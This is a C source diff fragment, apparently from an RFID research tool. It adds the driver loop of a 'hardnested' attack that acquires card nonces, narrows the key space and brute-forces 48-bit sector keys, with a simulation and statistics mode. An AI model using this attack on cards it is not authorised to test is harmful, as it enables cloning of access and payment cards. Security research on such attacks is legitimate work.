benchmark: %1.0f million (2^%1.1f) keys/s", brute_force_per_second/1000000, log(brute_force_per_second)/log(2.0)); + hardnested_print_progress(0, progress_text, (float)(1LL<<47), 0); + sprintf(progress_text, "Starting Test #%" PRIu32 " ...", i+1); + hardnested_print_progress(0, progress_text, (float)(1LL<<47), 0); + if (trgkey != NULL) { + known_target_key = bytes_to_num(trgkey, 6); + } else { + known_target_key = -1; + } + + init_bitflip_bitarrays(); + init_part_sum_bitarrays(); + init_sum_bitarrays(); + init_allbitflips_array(); + init_nonce_memory(); + update_reduction_rate(0.0, true); + + simulate_acquire_nonces(); + + set_test_state(best_first_bytes[0]); + + Tests(); + free_bitflip_bitarrays(); + + fprintf(fstats, "%" PRIu16 ";%1.1f;", sums[first_byte_Sum], log(p_K0[first_byte_Sum])/log(2.0)); + fprintf(fstats, "%" PRIu16 ";%1.1f;", sums[nonces[best_first_bytes[0]].sum_a8_guess[0].sum_a8_idx], log(p_K[nonces[best_first_bytes[0]].sum_a8_guess[0].sum_a8_idx])/log(2.0)); + fprintf(fstats, "%" PRIu16 ";", real_sum_a8); + +#ifdef DEBUG_KEY_ELIMINATION + failstr[0] = '\0'; +#endif + bool key_found = false; + num_keys_tested = 0; + uint32_t num_odd = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[ODD_STATE]; + uint32_t num_even = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[EVEN_STATE]; + float expected_brute_force1 = (float)num_odd * num_even / 2.0; + float expected_brute_force2 = nonces[best_first_bytes[0]].expected_num_brute_force; + fprintf(fstats, "%1.1f;%1.1f;", log(expected_brute_force1)/log(2.0), log(expected_brute_force2)/log(2.0)); + if (expected_brute_force1 < expected_brute_force2) { + hardnested_print_progress(num_acquired_nonces, "(Ignoring Sum(a8) properties)", expected_brute_force1, 0); + set_test_state(best_first_byte_smallest_bitarray); + add_bitflip_candidates(best_first_byte_smallest_bitarray); + Tests2(); + maximum_states = 0; + for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) { + maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE]; + } + //printf("Number of remaining possible keys: %" PRIu64 " (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0)); + // fprintf("fstats, "%" PRIu64 ";", maximum_states); + best_first_bytes[0] = best_first_byte_smallest_bitarray; + pre_XOR_nonces(); + prepare_bf_test_nonces(nonces, best_first_bytes[0]); + key_found = brute_force(); + free(candidates->states[ODD_STATE]); + free(candidates->states[EVEN_STATE]); + free_candidates_memory(candidates); + candidates = NULL; + } else { + pre_XOR_nonces(); + prepare_bf_test_nonces(nonces, best_first_bytes[0]); + for (uint8_t j = 0; j < NUM_SUMS && !key_found; j++) { + float expected_brute_force = nonces[best_first_bytes[0]].expected_num_brute_force; + sprintf(progress_text, "(%d. guess: Sum(a8) = %" PRIu16 ")", j+1, sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx]); + hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0); + if (sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx] != real_sum_a8) { + sprintf(progress_text, "(Estimated Sum(a8) is WRONG! Correct Sum(a8) = %" PRIu16 ")", real_sum_a8); + hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0); + } + // printf("Estimated remaining states: %" PRIu64 " (2^%1.1f)\n", nonces[best_first_bytes[0]].sum_a8_guess[j].num_states, log(nonces[best_first_bytes[0]].sum_a8_guess[j].num_states)/log(2.0)); + generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx); + // printf("Time for generating key candidates list: %1.0f sec (%1.1f sec CPU)\n", difftime(time(NULL), start_time), (float)(msclock() - start_clock)/1000.0); + key_found = brute_force(); + free_statelist_cache(); + free_candidates_memory(candidates); + candidates = NULL; + if (!key_found) { + // update the statistics + nonces[best_first_bytes[0]].sum_a8_guess[j].prob = 0; + nonces[best_first_bytes[0]].sum_a8_guess[j].num_states = 0; + // and calculate new expected number of brute forces + update_expected_brute_force(best_first_bytes[0]); + } + } + } + #ifdef DEBUG_KEY_ELIMINATION + fprintf(fstats, "%1.1f;%1.0f;%d;%s\n", log(num_keys_tested)/log(2.0), (float)num_keys_tested/brute_force_per_second, key_found, failstr); + #else + fprintf(fstats, "%1.0f;%d\n", log(num_keys_tested)/log(2.0), (float)num_keys_tested/brute_force_per_second, key_found); + #endif + + free_nonces_memory(); + free_bitarray(all_bitflips_bitarray[ODD_STATE]); + free_bitarray(all_bitflips_bitarray[EVEN_STATE]); + free_sum_bitarrays(); + free_part_sum_bitarrays(); + } + fclose(fstats); + } else { + start_time = msclock(); + print_progress_header(); + sprintf(progress_text, "Brute force benchmark: %1.0f million (2^%1.1f) keys/s", brute_force_per_second/1000000, log(brute_force_per_second)/log(2.0)); + hardnested_print_progress(0, progress_text, (float)(1LL<<47), 0); + init_bitflip_bitarrays(); + init_part_sum_bitarrays(); + init_sum_bitarrays(); + init_allbitflips_array(); + init_nonce_memory(); + update_reduction_rate(0.0, true); + + if (nonce_file_read) { // use pre-acquired data from file nonces.bin + if (read_nonce_file() != 0) { + return 3; + } + hardnested_stage = CHECK_1ST_BYTES | CHECK_2ND_BYTES; + update_nonce_data(false); + float brute_force; + shrink_key_space(&brute_force); + } else { // acquire nonces. + uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); + if (is_OK != 0) { + return is_OK; + } + } + + if (trgkey != NULL) { + known_target_key = bytes_to_num(trgkey, 6); + set_test_state(best_first_bytes[0]); + } else { + known_target_key = -1; + } + + Tests(); + + free_bitflip_bitarrays(); + bool key_found = false; + num_keys_tested = 0; + uint32_t num_odd = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[ODD_STATE]; + uint32_t num_even = nonces[best_first_byte_smallest_bitarray].num_states_bitarray[EVEN_STATE]; + float expected_brute_force1 = (float)num_odd * num_even / 2.0; + float expected_brute_force2 = nonces[best_first_bytes[0]].expected_num_brute_force; + if (expected_brute_force1 < expected_brute_force2) { + hardnested_print_progress(num_acquired_nonces, "(Ignoring Sum(a8) properties)", expected_brute_force1, 0); + set_test_state(best_first_byte_smallest_bitarray); + add_bitflip_candidates(best_first_byte_smallest_bitarray); + Tests2(); + maximum_states = 0; + for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) { + maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE]; + } + printf("Number of remaining possible keys: %" PRIu64 " (2^%1.1f)\n", maximum_states, log(maximum_states)/log(2.0)); + best_first_bytes[0] = best_first_byte_smallest_bitarray; + pre_XOR_nonces(); + prepare_bf_test_nonces(nonces, best_first_bytes[0]); + key_found = brute_force(); + free(candidates->states[ODD_STATE]); + free(candidates->states[EVEN_STATE]); + free_candidates_memory(candidates); + candidates = NULL; + } else { + pre_XOR_nonces(); + prepare_bf_test_nonces(nonces, best_first_bytes[0]); + for (uint8_t j = 0; j < NUM_SUMS && !key_found; j++) { + float expected_brute_force = nonces[best_first_bytes[0]].expected_num_brute_force; + sprintf(progress_text, "(%d. guess: Sum(a8) = %" PRIu16 ")", j+1, sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx]); + hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0); + if (trgkey != NULL && sums[nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx] != real_sum_a8) { + sprintf(progress_text, "(Estimated Sum(a8) is WRONG! Correct Sum(a8) = %" PRIu16 ")", real_sum_a8); + hardnested_print_progress(num_acquired_nonces, progress_text, expected_brute_force, 0); + } + // printf("Estimated remaining states: %" PRIu64 " (2^%1.1f)\n", nonces[best_first_bytes[0]].sum_a8_guess[j].num_states, log(nonces[best_first_bytes[0]].sum_a8_guess[j].num_states)/log(2.0)); + generate_candidates(first_byte_Sum, nonces[best_first_bytes[0]].sum_a8_guess[j].sum_a8_idx); + // printf("Time for generating key candidates list: %1.0f sec (%1.1f sec CPU)\n", difftime(time(NULL), start_time), (float)(msclock() - start_clock)/1000.0); + key_found = brute_force(); + free_statelist_cache(); + free_candidates_memory(candidates); + candidates = NULL; + if (!key_found) { + // update the statistics + nonces[best_first_bytes[0]].sum_a8_guess[j].prob = 0; + nonces[best_first_bytes[0]].sum_a8_guess[j].num_states = 0; + // and calculate new expected number of brute forces + update_expected_brute_force(best_first_bytes[0]); + } + + } + } + + free_nonces_memory(); + free_bitarray(all_bitflips_bitarray[ODD_STATE]); + free_bitarray(all_bitflips_bitarray[EVEN_STATE]); + free_sum_bitarrays(); + free_part_sum_bitarrays(); + } + + return 0; +}